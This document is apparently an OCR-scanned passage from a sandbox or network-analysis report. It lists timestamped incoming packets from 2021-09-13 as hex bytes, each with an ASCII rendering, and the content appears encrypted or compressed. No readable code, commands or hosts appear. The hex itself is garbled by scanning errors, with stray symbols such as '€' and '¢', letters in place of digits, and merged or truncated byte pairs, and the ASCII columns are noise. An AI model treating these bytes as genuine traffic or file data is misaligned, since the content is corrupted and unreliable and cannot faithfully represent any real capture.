0a 20 b5 7a c9 04 9a e2 65 cf 50 f3 56 1b 91 53 bd c8 14 84 86 70 db 46 d0 1b a5 58 ff 6e 1d 22 fd dO 1b a6 82 45 11 50
58 f0 6d 53 f8 2e 1e 25 1f 58 02 26 d1 e8 64 75 17 20 f4 94 9e 2b f1 al 70 4a 3f 90 36 eb b5 08 fc €7 be 74 a4 38 bd 52 04
4d 13 6¢ b0 48 1a 9a d7 b6 65 32 3b Oc 2d 66 f5 €6 38 62 57 b2 84 0d b5 f2 1f fa 05 81 0f 96 06 €7 21 be bc f8 3a 55 2d
e1 63 5b e5f2 96 37 76 13 42 04 8b c5 3d a2 ca be 7c c3 c8 9a 85 42 ff aa 11 ae e0 2¢ 27 1e 5e 93 64 3f 91 99 26 Oc 81
32 a8 f9 50 al b5 42 b8 0d f7 d1 6d 34 dc cc 6b 75
Data Ascii: D(upkiK(y0!lk*CGz%%fi>]}"E_VA_Zs zePVSpFXn"EPXmS.%X&du +pJ?6t8RMIHe2;-f8bW!:U-c[7vB=|B,"*d?
&2PBm4ku

2021-09-13 23:07:18 UTC 56 IN Data Raw: 4a ea a2 9a fb cb cd 8d e7 bf 48 c4 72 1d 4e c3 ¢9 92 23 40 94 89 73 41 ca e4 29 29 3d 03 18 eb d9 9d el 9d
5f 39 74 83 c1 f6 3f 42 ¢7 02 9a 43 47 94 17 94 e8 43 0d be 84 e5 9a 30 2b 87 fe 9¢c 92 60 5¢ 9a ae 03 f9 6a cd €8 06 71
d8 55 13 38 3f 02 f6 bf 31 d4 a3 db 8b ec a2 f4 f2 ec a2 6f bd e1 88 9b 89 b9 59 42 el 9e 51 07 01 54 7a a2 7c c0 f8 9a la
6 25 ee f1 ¢7 92 5a 85 52 ¢5 9e a4 7b 63 30 22 49 d7 67 48 60 4e 87 ce 19 51 5b 1b ¢8 08 c3 79 59 cc 3c 69 78 cf 0d e7
dd 38 2a 01 cd 42 77 5f da 06 ea Ob d6 34 14 00 fb 51 48 fb 30 4c 7c 8f 56 30 b4 f3 f5 d7 a8 d1 f8 72 0d 6f 19 7a ca 21 49
b4 a7 74 49 c1 53 59 ae 8e le 27 6a df 7d a8 08 el eb be be 8e 14 19 f4 f1 be ea 56 6b f6 55 e2 58 77 c9 eb Oe 3b dc 83
44 07 e6 db 3e 33 11 dd d8 5c 18 28 0a ba 8f 1f cf
Data Ascii: JHIN#@sA))=_9t?BCGC0+'\jqu8?10YBQTz|%ZR{c0"IgH NQ[yY<ix8*Bw_4QHOL|VOroz!ItISY'}VkUXw;D>3\(

2021-09-13 23:07:18 UTC 57 IN Data Raw: 05 aa 53 30 c9 8c e8 c8 c2 2c eb 3b 83 f9 a0 38 32 6¢ 58 02 13 3a ec 6¢ cd 40 29 9e bd 52 eb 3f 4b a0 57 6a
1b 94 96 82 12 50 e4 fc 91 1c 5¢ 95 e7 62 f9 1d 2 85 cd b9 a8 05 41 cO 2b ea 84 94 2e b1 38 19 be c8 0d 76 c4 20 f2 1a
78 11 7e fb d2 25 dO 4c f9 c3 b0 81 8c cf f9 d2 7a bd 68 4f 10 a5 1f 2c ad 9e 2b 48 b5 c3 6e 49 22 1d c8 60 89 e5 15 09 3d
10 04 62 c4 4f a7 71 €3 d9 21 98 ea 9a 55 6b 0f 8b 71 27 9e 57 10 01 50 36 d5 52 ec 1d 00 f7 be 8b 75 20 db c6 ba 65 fc
76 6e e0 a9 cl ee d9 f5 34 9f d7 0f 17 a0 b3 11 89 eb 7d 5a 22 c6 42 ea 72 70 16 b7 bb 79 3d 13 32 d6 35 34 ee 28 4d 9b
3e 86 ec 85 23 4f 48 01 fd 06 fb 4a 6f 8d 55 20 87 a2 00 cc 54 37 c6 46 75 a2 34 9e 27 1a 2a bl 74 aa 07 8e 96 el 3a e4
51 73 06 19 74 98 a3 2b 1le a5 f5 9a ¢3 18 d5 bd a4 c9
Data Ascii: S0,;82IX:1@)R?KW]jP\bA+.8v x~%LzhO,+Hnl""=bOq!Ukq'WP6RuU evn4}Z"Brpy=254(M>#OHJoU T7Fu4"*t:Qst+

2021-09-13 23:07:18 UTC 59 IN Data Raw: 8b 74 1a de cf 7b 9d b9 31 fa 36 39 5f ab 42 3c a4 e4 61 6d 67 26 a4 33 95 d2 c6 0d f9 1a af 4a 90 bb ce ac ce
6b 5f ee 4f b1 53 Oc 2d ba f8 13 46 Oe 04 a3 f1 72 35 66 7a a6 16 d7 d5 61 78 eb f0 dO d9 9d Of 65 3b Oe ec cc 8e 08 57
a7 dc fc 02 9a dc 20 95 f5 36 25 eb be 7e 1a e4 72 c8 fO de a7 56 6b 41 4e 8b 55 ba 59 03 3b f2 0a 3a 92 d1 31 1d 93 35
6d 52 55 ff da 73 9f 1a 4f 69 46 75 eb ef 57 4d b2 c3 04 4d a9 b4 c2 b3 20 {7 f6 18 a5 4e 75 0f dO d1 08 41 6f b4 c4 12 f2
35 ff 89 dd 4b 58 19 40 9c c3 a5 cf 1d 59 13 €9 41 06 c7 ¢7 26 3e bc 01 69 0f 31 de d3 c5 67 d3 cc 34 81 82 f4 9e 36 8b
eb d8 cc 2a 29 7d 42 a7 df Ob 28 03 ee 1b 33 27 4c le d1 ef a4 5d 85 98 31 dc b5 f2 bc a7 84 2d 06 b5 9a bl 4c 56 87 1a
el 5a 67 6 57 f1 28 30 93 2f 54 1c 58 9b a3 8 7d
Data Ascii: t{169_B<amg&3Jk_0OS-Fr5fzaxe;W 6%~rVKANUY;:15mRUsOiIFUWMM NuAo5KX@YA&>i1g46+*)}B(3'L]1-LVZg
W(O/TX}

2021-09-13 23:07:18 UTC 60 IN Data Raw: 79 a8 5a 10 8a e9 45 f4 43 2c 9b 34 3e bd 73 27 d6 17 90 95 80 c9 c7 6f 8b 1c d0 be 9e 70 b4 61 74 ee d5 e0
13 e7 cd 56 85 99 99 ce 93 2e e8 e6 6¢ 54 50 b3 75 fd 7b d6 91 6a ce 13 d2 al 96 26 96 f9 96 86 6b 99 31 1c be bb 15 58
ee e8 62 d9 6d 3d 14 c5 7d da b2 61 b8 33 a4 ad b3 6b f1 00 c8 14 21 4c 8d 17 Oe 58 fe bd al 73 02 5e Ob 93 2b al b3 01
9b 2c 4b 76 ac d8 69 80 43 0f 74 63 7f 52 34 3e 63 8d e8 7d 4d bf f9 c5 b0 4b 6¢ 01 2d 16 95 69 19 81 d3 ff 85 ca 2d df e4
52 1b 75 6a 9d 69 83 89 03 a5 3e 44 8b f0 97 e6 4d 15 55 89 ce f0 98 99 a0 02 06 1b c3 5¢ bl 26 29 bc 97 6f 8c 61 06 59
a0 eb af 84 a2 e7 38 77 f3 51 c0 bd 19 f4 a3 6d b9 39 e3 20 89 58 c8 25 fb ef f0 96 36 ad 74 46 3a a5 93 88 48 d9 f2 e0 bl
c3 ac 17 59 87 94 fd 44 f0 3d bf ed 5d a5 5f 5b cb
Data Ascii: yZEC,4>s'opatV.ITPu{j&k1Xbm=}a3k!LXs"+,KviCtcR4>C}MKI-i-Ruji>DMU\&)oaY8wQm9 X%6tF:HYD=]_[

2021-09-13 23:07:18 UTC 61 IN Data Raw: d9 4d 47 ef dd d0 84 37 13 99 6e 3c 5f 16 52 28 f6 0f 08 ff 85 e7 1f ¢3 85 c4 ca 06 ab 2b 71 8c 0d 60 39 87 d5
89 0c 50 fb 08 e5 08 26 4f 34 Ob 6b f1 6a 86 eb 99 76 b9 20 be 2a 94 97 48 81 45 69 50 3f 3d 07 Oc 36 97 71 97 b1 19 c6
Oc 62 cb 8f 13 4e e2 ca 5f 8f 3e 3b 09 e3 be 8¢ 5¢ 3a 84 e3 32 10 bb 24 40 35 ed bl 7f df 5b 1c ac 10 bb 3f 78 06 93 b4 12
61 e2 a6 2d 54 07 9a b4 47 98 aa 26 82 89 Oe 1f 97 a8 87 ba d8 69 00 98 54 3d e9 28 19 88 f3 4a 5e ed 74 bb 53 29 8c
2d 1c 1e 23 75 cc 18 5b 44 Oe 5f df 73 7e ed d5 76 51 6¢ b9 b2 6c 63 6a f8 c8 3e 66 el f3 6b 95 c8 d8 2d d4 2a c1 1e Ob
3a 93 07 ad 87 be 6e 9a €8 09 f2 7e Ob bb 41 c8 86 8e 84 d0 4d 72 18 e3 5a 27 fd aa 4b dc c9 8c e8 a8 fa 7b 66 b6 86 4a
cf 01 88 e5 4c 02 9a 29 ec 6¢ 17 3b 54 9c 4a 20 6e 3e
Data Ascii: MG7n<_R(+q 9P&04kjv *HEiIP?=60qbN_>;\:2$@5[?xa-TG&IT=(IS)-#u[D_s~VvQllcj>fk-*:n~AMrZ'K{fIL);TJ n>

2021-09-13 23:07:18 UTC 63 IN Data Raw: 88 bc 64 fc a5 73 21 71 4b 80 33 5e 35 d4 da Oc f8 80 4b 18 86 al 23 e2 dd 86 4a 49 d8 79 d1 f0 90 57 d3 b4
db 03 7e 24 ¢ 1f fa b3 e4 be a6 47 52 89 ff 93 34 c8 74 f0 23 89 2¢ 7b 78 ce c1 dc f3 €6 42 2e 65 82 7b 34 cf Ob 17 fc 43
¢6 f1 ba b2 20 d4 9f b 6c ae 58 3f ea 86 4d Oe 48 88 58 f0 81 0d Ob 33 ba a4 23 93 88 48 78 ba e2 bl 8e 7c e3 bo b 13
62 9¢ 6a 91 54 ef d0 7b 46 5b cb 72 27 b7 9f 09 e4 74 36 16 f6 3f 55 8f f2 ae 43 ca 94 e6 23 e8 43 1a 7a 99 d1 9a cf 13 6a
41 9d 92 60 a1 76 5b 45 9 Oc 8a 18 9b b7 63 5b 13 13 43 02 6 bf 29 98 a3 db 8b 89 26 f2 0d 13 9b c2 07 8a 07 16 f2 b7
2b 38 7a 59 23 bd ae 19 dd e1 a0 85 9d fe d1 09 da 50 45 aa 1d 5b f1 5d a0 6e a9 84 9c 42 f6 58 13 5e ¢3 9b c4 7b 26 cf
74 4b 77 d6 85 26 41 cb 7b ¢3 Oc de f0 3 18 af 38
Data Ascii: dslqK3"5K#JlyW~$GRAtH, {XB.e{4C IX?MHX3#HX|bj T{F[r't62UCH#CZ]A V[EC[C)&+8ZY#PE[NBXMEKW&A(S

2021-09-13 23:07:18 UTC 64 IN Data Raw: 1b 4e 6d 09 ce Oe 1a d4 5f 7a 1a 7f 1b 72 ¢8 0a a2 14 c0 ed 9e 87 7d 3b 56 af 51 eb 8f 11 95 6f 6¢ 64 06 be 5f
4d 16 de 0f 56 63 3b b3 d4 76 27 39 d7 63 93 9c 6f 8 0 3d 66 el f3 a3 74 37 27 60 dc 22 f7 53 19 e4 7e d3 20 ef e5 ed
dd b3 49 6¢ 56 7e 33 95 40 18 b6 fb 2d 32 72 f0 36 6d de fa a6 32 14 34 73 17 73 f1 e0 9e 2b 3d 6f b9 a3 df c7 d9 1c 45 9
b1 6a 4e fd 1le 48 47 9d 37 f5 06 a7 cf Of Ob 5c a7 2e bl 6b 91 b7 df 2¢c 4a 2e ac 15 ec 40 b8 d1 06 4 ef 77 2d 8f 06 c1 38
5e 2e 3319 4d e2 9e 85 43 58 5b 62 15 af 61 a6 db 6f Ob 58 87 03 d2 81 09 83 45 44 97 aa 7a 45 c3 a8 f7 4e d3 52 d2 ce
7a a9 85 be 98 3f 95 d9 2e 8f 89 07 7b d2 92 69 b6 7c df 03 21 3e f5 f9 2a 33 ab €3 94 42 74 33 b7 86 90 a4 2f 61 b5 55
9a 81 f2 81 76 a4 80 bd 74 b0 34 0f d6 5e d7 2¢c
Data Ascii: Nm_zr};VQold_MVc;v'9co=ft7""S~ IIV~3@-2ré6m24ss+=0EjNHG7\.k,J. @w-8".3MCX[baoXEDzENRz?{i
|I>*3Bt3/auvt4”,

2021-09-13 23:07:18 UTC 65 IN Data Raw: 31 a2 a2 bc 2f 3b 73 bc 55 79 55 86 a2 01 8a df bl d8 19 e0 a0 27 e8 €8 79 8b 66 63 c7 ed e2 8b 36 87 74 b8
b3 3a ae 71 dc 34 0b 93 1a 87 18 f9 4d fa d5 7d fa 54 bf 11 26 74 8f 5b 7d b7 5a 13 57 7a fc b7 61 be 02 1c b9 09 fO dd 85
d0 61 b7 6 35 4e fe 2d 83 ce 9f c4 85 70 e5 {8 ca 92 1c 16 2b ¢5 1f 36 76 63 €9 2b 69 c5 2e be ab 9a ab d3 46 5a Oe 80
a9 69 7f c1 81 c0 d5 bd 6¢ 98 5d 93 b2 30 bd 14 10 1a 4b 7a 3e c3 66 a3 ff 54 8a 15 9e 3c 87 83 70 e7 a0 b2 0Of f2 df 65
9d 17 ff fO 5b 89 9b 52 aa 0a 19 8e 68 c6 4c da ea cl b7 b3 9b 27 54 8d c3 70 Of eb 33 a2 b7 96 b5 c9 e6 c5 4f e2 7a 72
8e 2b 99 03 c1 60 dd bf 22 3f 1f 4e €6 db bc c6 71 ce 9d Oc ad d1 83 ad 05 42 97 47 f4 05 f6 d1 75 1e 38 24 aa 63 b0 ce
25 8a ea Of af 95 87 e7 1f ¢3 85 14 36 72 9c 3c ff 85
Data Ascii: 1/;sUyU'yfc6t:q4AM} T&t[}ZWzaa5N-p+6vc+i.FZilJlOKz>fT<pe[RhLTp30zr+"?NgqBGu8$cY%br<

2021-09-13 23:07:18 UTC 66 IN Data Raw: aa 24 10 1c 1c 6¢c 94 42 20 6d 1f 82 52 8e 33 €9 2b 88 40 6 15 1c cl ef 52 41 4f €6 96 ee ad 45 bf 68 69 d7 b9
8b 3d dd 10 99 08 32 61 97 48 34 a5 82 4a 97 df 80 0d 25 c7 f4 11 9e 4c 17 91 c0 68 e8 0d 5e cd 4e 70 f8 Oc b8 71 b5 62
56 ¢3 70 93 40 29 65 17 22 be cc 84 19 a6 78 e0 33 1c 95 1le a7 10 a2 d1 Ob 10 1f 99 15 bl 75 bc 92 f9 bb b5 4c 50 10 9f
ce dd 43 c9 df e0 a3 9e f9 15 7a 91 d0 9a cf cf 63 c1 6¢ €9 07 4d 3e 6f c8 7c f9 38 7f a2 a2 12 d8 cb b2 8e fd 1e de 92 b0
5c e2 318 a9 37 7f dc 9b d5 be 69 ce 17 fO 1a 46 55 cb 15 23 bd 11 1f dd df 7a c0 fO 9e 1a f6 25 56 45 6a a5 4d cd 8c 48
1b 5b c¢1 60 cc 7b 10 ec 2c 71 bb 46 84 24 46 41 bb f3 6a 37 b1 be 60 76 2c 80 cf 40 78 e3 96 fO b9 fe c4 7e 9d 94 9c 8b
a7 4e d0 ef 16 17 10 24 c5 76 d7 6 7f 71 be 66
Data Ascii: $IB mR3+@RAOEhi=2aH4J%Lh"NpgbVp@)e"x3uLPCzcIM>0|8\17iFU#z%VEJMH[ {,gF$FA]7 v,@x~N$vqf
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kBytes
Timestamp transferred Direction Data

2021-09-13 23:07:18 UTC 67 IN Data Raw: 1a 2f b9 bb df 80 6a 1d 08 28 f9 41 a0 26 c6 7d 07 db 5b ce ec d5 76 27 a4 91 43 d0 29 9a 9a 8f 3f aa de 4c 41
40 d0 53 27 18 d7 4d d2 56 33 5b 4e a6 aa 15 6e 1d dc d0 47 63 al c6 d5 fa 45 e7 2c 5¢ ff be fO fc a9 24 05 a4 a3 e8 3f fe
a2 58 58 94 14 b0 4b 24 3f bd c2 e8 a3 15 b5 fe 28 4c 7d 2f ee 15 a6 fa 78 5e 1le a7 c¢8 89 Ob 90 42 b6 65 fe Of 78 87 71 fb
a9 7c 9e 6a 1d e5 d9 a6 0d e0 bf 64 ca 7b 69 72 d6 c6 2b 0a 07 4d 4b 70 92 94 29 00 62 78 9b 89 98 6d 9b dc Of 15 e2 ca
be 7c ¢9 91 2 49 6f ff 56 70 b5 9c 3f cO 1d Of 22 8a 49 3f 00 f2 c9 1c e4 59 98 96 cb 59 1c ee 37 1c 87 c3 71 68 b0 a9 4e
2f 1f 20 5a 18 1d 42 0d 9f 2b 92 ea 3d b3 2b 25 3b e7 2f b1 bc 1b 75 72 eb 2b bb 65 fc 32 2f 19 64 ec ee eb 56 20 5d 34
3f 99 cc f2 47 00 b5 7c 56 d6 2c 36 40 fc 34
Data Ascii: /j(A&}[v'C)?LA@S'MV3[NNGCE \$?XXK$?(L}/x"Bexq|jd{ir+MKp)bxm|loVp?"1?YY7ghN/ ZB+=+%;/ur+e2/dV ]4?
G|V,.6@4

2021-09-13 23:07:18 UTC 68 IN Data Raw: cc 91 6e 7f 92 5¢c eb 01 36 e6 73 18 68 e4 30 €9 08 8a 7c 0a 79 e2 59 7e bb Oe 0d 8a 36 39 4f 29 2d 47 c4 98
68 1b 52 64 2a 41 69 7c 2e 79 33 a9 eb 5d 58 a9 4a 7d f9 a7 f2 2b a4 dc e6 €5 09 51 47 d4 74 e6 7a 85 b2 cd c9 e8 bc 17
8e 57 93 d4 al 4a 43 fc 77 ad 38 97 06 13 91 c7 7e 17 f4 60 2b 32 b6 82 0d 6¢ 1d 49 55 20 bb e0 97 63 53 Oa 61 59 78 d2
60 be 28 28 5 fd 51 af 82 40 35 13 e7 18 f3 d7 58 81 8e c8 fa 53 f0 5¢ 82 aa 17 85 5e cc e4 5a 57 a7 da a2 1d 45 dc ae
317b 1f 24 14 46 fb d2 03 c7 34 19 3b e2 5e 40 aa 0d 29 cc 74 1a d6 f1 bf 0a 3a 6a b1l 2a 96 2a 71 81 dO d8 df 1e 54 17
27 0a dd 30 60 47 61 6e Oa 53 0a 13 13 99 5c 2b 77 ae d7 82 34 d9 01 95 cc 9e b9 f2 c2 3c 9 df 13 3c 1f aa 3e 37 c3 9a
15 f1 84 ff Ob e4 96 4b 3d ff 86 ab 52 ca 7c 2d 5f 66 96
Data Ascii: n\6sh0]yY~690)-GhRd*Ai|.y3]XJ}+QGtzZWJICw8~"+2IlU cSaYx ((Q@5XS\"ZWE1{$F4;"@)t:;j**qT'0’Gan
S\+w4<<>7K=R|-_f

2021-09-13 23:07:18 UTC 70 IN Data Raw: Of ba 86 ba 3c 3b 66 bc d2 25 f6 b0 92 b2 99 86 d6 74 3b 3e e5 78 3a 2b d1 24 0b 85 ¢7 51 11 73 d9 Oe 04 c9
59 3a b9 c7 67 a4 7a 97 56 9f 96 48 ed 03 4b 3e 14 f6 da 90 e6 48 42 81 el 36 e0 d3 98 7f c4 78 fa 28 Oe €9 cd 5f 87 df
12 b7 4c 7f b4 f8 23 a7 62 b8 7f 66 d4 80 29 44 64 3a 33 df 43 18 53 ac 42 59 b4 eb ba bb 32 42 ¢8 81 b7 89 53 de 9b 7d
97 df cc 14 ab d8 13 bd fa 15 9d f0 e3 €3 c2 16 c2 5e 69 50 9a a5 7e e4 0a 12 b6 0f 69 30 dd 77 fO el fO 5¢ 42 b5 c1 bl
a6 ac 42 91 16 41 2c 22 00 d5 02 00 3b fc Ob 8b d4 4e 02 c5 77 10 de 94 c2 90 99 fb d4 9b 8d ef d9 2e 9d d4 ab 63 75 91
1d Of 6f 10 3f 1b cd 5c cf 4d 03 8c 4e af da ¢3 22 ¢7 d9 4f ce 03 cd e3 d1 46 cd 9¢ 19 97 79 cl e7 f3 38 12 9f 9d cf 83 4b
37 €9 a0 2f 0a 26 e6 0f b5 55 d7 c7 a6 46 ab 15 fd f8
Data Ascii: <;f%t;>x:+$QsY:gzVHK>HB6x(_L#bf)Dd:3CSBY2BS}iP~iOW\BBA,";Nw.cuo?\MN"OFy8K7/&UF

2021-09-13 23:07:18 UTC 71 IN Data Raw: 28 d7 78 e4 d1 5f 88 8e 8c 7a ca 60 08 7d de 3b 72 db db 9b 12 Oc 6e 93 75 6 31 a8 2e ba 2d dd a0 ac 33 1b
89 15 8d 37 92 f4 f9 bf 6d 77 8e ed 89 74 25 bd 83 c1 12 b1 d1 6¢ 3c d5 d6 c9 f5 9a d0 5¢ 5d 98 70 79 ¢7 1f 36 77 33 10
dd 2f 05 5a bc ed 5f 5¢ 56 2b ad d7 57 ba 98 c1 85 b2 c5 7e f7 34 ea 7a 95 cc 5f 04 ff 61 69 81 1d 11 ac 6d 00 e0 5c a5 d7
c4 ff 1e ce 40 25 f2 6d d8 4d fe f8 ec 27 12 d0 20 Oe 02 f1 db e2 bc 06 b2 51 el 66 f5 cd c4 75 f0 9d cb 77 55 7b 39 af f4
71 c153f9 82 8b ca Oc 2d ec 4e f5 56 38 4b 88 7e 36 b7 2e 12 64 6a b3 f6 68 92 c2 31 56 b2 40 al 59 a2 67 a7 b7 18 ce
ff 1b 9e d4 Oc ff 77 9f 98 eb 32 93 a0 02 ff 70 f4 d4 6d b0 92 5e 78 45 f0 73 bf 3¢ 14 a0 22 4e 6b a4 20 a9 cc de bd f8 a6
86 0b le 5e f3 24 89 d8 58 28 b0 18 9a 6b 18 98
Data Ascii: (x_z };mul.-37mwt%I<\]py6w3/Z_\V+W~4z_aim\@%mM' QfuwU{9gS-NV8K~6.djh1V@Ygw2pm"XEs<"Nk "
$X(k

2021-09-13 23:07:18 UTC 72 IN Data Raw: 3a d1 6b cc 87 cd e8 63 52 dc 6f bd 67 c2 64 f2 a4 a9 03 0f 73 34 41 9f 1b 01 b5 52 82 7d 73 8¢ 1c 73 Ob 5a 9e
c7 c4 8b d8 3d 60 bb 14 1a a6 3b e6 74 64 7a 17 93 3 4b 21 11 9f d3 3e 02 aa 16 1le 44 63 65 91 57 09 ff 71 47 a7 76 b4
a5 le eb 07 95 e6 a3 0a 0d 11 c3 21 a3 cd 98 68 3d 22 37 55 db 93 79 fe 93 77 90 79 eb d8 97 ba 00 16 €9 2b ee c9 f0 08
1f 3e 41 18 ¢5 5f 9e 2e 11 15 83 58 4c 69 8e f4 83 35 b8 1c 62 07 b6 8d 91 81 7 03 4a 6e a8 49 d5 5a 25 c6 26 a3 e4 b5
€7 72 95e3 b7 82 20 ae bl 15 ef 39 96 5¢ 05 74 46 32 b4 1c 7b 53 17 60 69 86 c3 7e 17 8d be €8 96 70 48 c5 37 66 79
2e 88 e3c3c35ae6c480f3fd3279 01 9bf539 8e ccc83b9ab556b 63 b4 laad 22 15 a8 cc e be 82 45 6d c1 8a 6b
e4 a9 72 c4 cf bb 1c e2 e8 5d ab a5 b6 09 f6 32 57 bc a3
Data Ascii: :kcRogds4AR}ssZ=";tdzK!>DceWqGv!h="7Uywy+>A_.XLi5bJInIZ%&r I\tF2{S i~pH7fy.Z2y9;Ukc"Emkr]2W

2021-09-13 23:07:18 UTC 73 IN Data Raw: b7 a0 ¢4 13 94 97 76 6d ed b0 52 b2 el d2 7b 0f 36 7f 05 5d 2c a2 84 8e 62 71 ea 2b ad b3 5¢ 8f 37 16 49 66
80 86 66 81 c7 f3 77 8f b9 a7 dd 74 eb fa 81 7c 66 €7 c6 4f 6a 3b 64 eb €0 2c 5f ea f6 42 11 1e 58 92 Oe b0 1a 63 9f 14 6
1 0f 98 bd da 45 ff 94 ff 29 ad d6 2d 76 cf 9¢ 7c 82 3 90 ¢3 dd f2 a0 11 95 2 8b 23 90 63 ca e3 bb a1 6b df cb b6 13 2a
89 8e 5a 84 1b 1e e2 02 8d 35 37 66 e1 98 a7 50 c8 8e 2¢ 97 ee 41 d4 46 52 1c 94 2f ef 13 a8 d5 €9 d9 db e4 8 ae 82 a8
¢8 d7 6e 5¢ 2d 2b 93 68 eb 50 3d 78 ba ed 3a 73 17 20 a7 35 22 f9 0a b4 fc 32 bb 5¢ 90 bf c1 91 88 cd 4e fd 11 60 28 52
93 90 6¢ 6a 04 50 7e 90 36 a6 ec af 1b a5 5f €8 80 e 1e 16 e8 49 ca d4 8d f5 94 83 85 04 b0 6f 72 48 2a 33 fe 00 3b 8¢
07 ea 1f ¢1 49 1a d6 a3 77 2b ad 4c d3 a4 39 57 37
Data Ascii: vmR{6],bq+\7Iffwt|fOj;d, BXCE)-|#ck*Z57fP, AFR/n\-+hP=x:s 5"2\N'(RIjP~6_lorH*3;lw+LOW7

2021-09-13 23:07:18 UTC 75 IN Data Raw: e8 7b 1d e2 8a 77 98 96 57 64 e6 04 3f ce 81 8f 77 db 89 a2 64 85 Ob Oe 27 7a 51 19 1c a7 38 81 83 98 €9 86
1b 5d 6e ae 9b 49 42 d6 ef 4a 44 c5 6b 93 06 80 €9 9a 67 78 3¢ 29 94 €0 68 50 38 b4 17 d1 91 d7 d6 3e a3 1a e8 bf 25 a7
al0d cle0 30 78 15 4b 92 e2 b2 ee 53 41 5f 67 0 07 37 a3 be 41 ed b1 05 9d 28 ea 65 e6 d2 al b5 3a al 7c 53 b3 89
Oc a0 14 9e 13 4f 88 fd 09 b9 f1 44 d7 e7 2b 5a fO de 7b el 64 2a 41 ea cc d4 7d 47 1e 20 79 el dc aa d2 99 ac f2 7a 1c
23 b7 b4 6 af Oe 43 d6 e4 dO fe 4a €9 1c 9c 84 17 89 6b 9b ac a5 fb 37 ¢3 5f 52 49 5b 5b 90 d8 95 c5 09 a2 be 82 79 c2
c4 3c eb db b3 dd be 36 7a 9b e6 37 83 ad 86 d8 0a 60 b7 00 8c 84 96 99 f7 b2 8¢ 35 a0 7c be 01 02 79 00 Oa 8d f2 d0 89
d9 40 29 ¢4 49 ba 57 82 4c bf 40 14 74 f6 e4 cf d3 2b a0 84
Data Ascii: {wWd?wd'zQ8]nIBIDkgx<)hP8>%0xKSA_g7A(e:|SOD+Z{d*A}G yz#CJIk7_RI[[y<6z7 5ly@)IWL@t+

2021-09-13 23:07:18 UTC 76 IN Data Raw: 2f 9b ¢4 dc 13 c2 f9 43 34 60 d4 de 47 eb 52 aa 91 0a 3d 9d e7 66 dd ba d0 47 a6 76 39 2a 1d 19 06 6c 09 ff
9e 49 74 4c 8d 71 52 d6 33 5d 63 4f ab 5e e0 a5 2b 87 f9 38 c¢7 31 84 2e e8 c1 4b 61 3b 5e 74 44 9c cf fa ef 3b 53 d4 3f c8
69 1c 79 a9 b7 44 3a 78 Ob 21 87 94 e7 e2 2b 86 02 ab 5d 02 a7 dd 4f 47 3a 39 11 6d 3b be bc 71 b5 43 f5 95 d9 ac ec 5a
d7 32 21 fb 23 d4 d1 4c 2b d7 c9 c2 47 46 de 97 72 34 01 a8 d1 1a 40 8d 51 8e 98 62 59 c4 6e 45 f0 74 5e e4 79 78 7f 11
6b 4e c4 83 2a 80 e0 f2 ac 06 €9 cf 7b 10 ab 94 f0 cf 92 e2 60 6e €9 66 6b 63 5¢c 59 ¢4 4d 5b d6 af 00 8b d9 38 ad bb 65 fc
c4 e3 b2 99 d6 d4 61 4d 88 80 85 e5 1a 00 2e dd 65 b7 3b 54 fa 30 8e d5 9f 6e 16 95 31 aa cd e9 63 8f 12 86 4d 82 31 6a
43 8b 42 ea bb 8b 46 fe 7d 5a fa b4 e4 91 fe e7 05
Data Ascii: /C4° GR=fGv9*IItLqR3]cO"+81.Ka;MD;S?iyD:x!+]0G:9m;qCZ2!#L+GFrd@QbYnEt"yxkN*{'nfkc\YM[8ea
M.e;TOn1cM1jCBF}Z

2021-09-13 23:07:18 UTC 77 IN Data Raw: Of af 29 Oc fc 31 Ob 67 23 3e ca a5 15 3d b8 7c 7e ca 26 24 a3 56 85 52 ad eb a2 0a 65 6d 22 7b d8 8d cf 71
€091 06 ad f6 5e 90 d7 cc 99 93 4d 1d a3 3c f0 01 43 e0 cb 02 5b 90 59 db a5 52 59 46 cf 47 Oe 88 0d 6¢ 9f e6 a9 8b 3a
ee 77 29 87 06 ea d9 08 51 29 f7 04 b9 13 05 56 b3 6b 3e 82 63 f7 a2 a4 Oa 4a €3 07 00 bf 3¢ 61 2e 3b 23 c4 72 76 d8 c4
5 f7 02 19 71 7d 5a 97 6e 35 2b fc 58 1b db 5f 53 e4 72 bc 54 32 {7 be 4f 18 71 12 57 0f 4c 1d 7b 89 8f ¢5 6b 80 2a 2¢ 3d
f8 81 aa d0 52 60 7c 30 1a f2 65 bb 8a el 49 al al c6 7f da ed e4 44 4b 4b 5d 81 cf a2 a6 c4 6d f6 f2 90 08 ca e4 a0 df 1a
48 99 5 e8 5¢ be €9 51 f1 22 49 Oc e2 01 9f 4d b9 0d Oe fa 1e bf 72 82 ee 33 ¢5 74 13 94 97 e9 46 ac ca 37 4d 47 47 a5
42 84 al 23 al af 8e 1b 6a bf bb Ob b1 65 cd aa 20
Data Ascii: )1g#>=|~&$VRem"{g"M<C[YRYFGl:w)Q)Vk>cJ<a.;#rvq}Zn5+X_SrT20qWL{k* =R’|0elDKK]mH\Q"IMr3tF7
MGGB#je
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kBytes
Timestamp transferred Direction Data

2021-09-13 23:07:18 UTC 79 IN Data Raw: bc Oc 6f c9 ad 92 Oe f8 85 d5 9b 67 cd d3 d8 96 f8 78 e7 f9 11 14 40 53 7e 5¢ 87 77 9e 49 39 94 60 5f cc 08 a4
49 28 5a c6 9e 61 1f ab 1f bd a0 77 0a 9f 23 ba 82 5f 3a c6 52 80 8 53 fb 06 02 0f d1 dd 81 bb 13 4e 5d 62 6c b3 d5 aa
15 b5 88 ab 00 ac 52 04 f0 1a b1 dc 84 39 8a 38 bd 9e 59 53 10 92 ba ec c6 06 66 9d ed ba 3b 08 83 ee d1 12 9f 45 b3 8b
7c f5 0a a6 01 8e 53 f4 19 ae 00 e6 07 c8 d0 6a 7b bb 01 19 f3 54 fa 77 67 43 8b 98 00 d6 f4 9c 3d e4 b3 fb 4b 90 ce 97
d7 2c 71 dc 6¢ 17 ac dO 7c ce 26 66 f2 6¢ d5 5f 91 d4 4e 50 f6 14 44 4c 6e 99 Oc 7b 43 0d 1c ba bb 47 1d 17 d7 98 b8 ad
le 27 bd 56 63 d3 Of 8f 02 f9 01 12 89 36 8¢ d5 91 0Of 51 df 07 ec 66 b5 22 26 26 fe ae e0 8a 83 45 c6 8f c3 e4 47 b2 04 cd
70 14 46 da 9a 40 Oe 84 86 e6 3b ae 5b 89 bf 62 b9
Data Ascii: ogx@S~\wI9"_I(Zaw#_:RSN]bIR98Y Sf;E|Sj{TwgC=K,ql|&fl_NPDLn{CG'Vc6Qf'&&EGpF@;[b

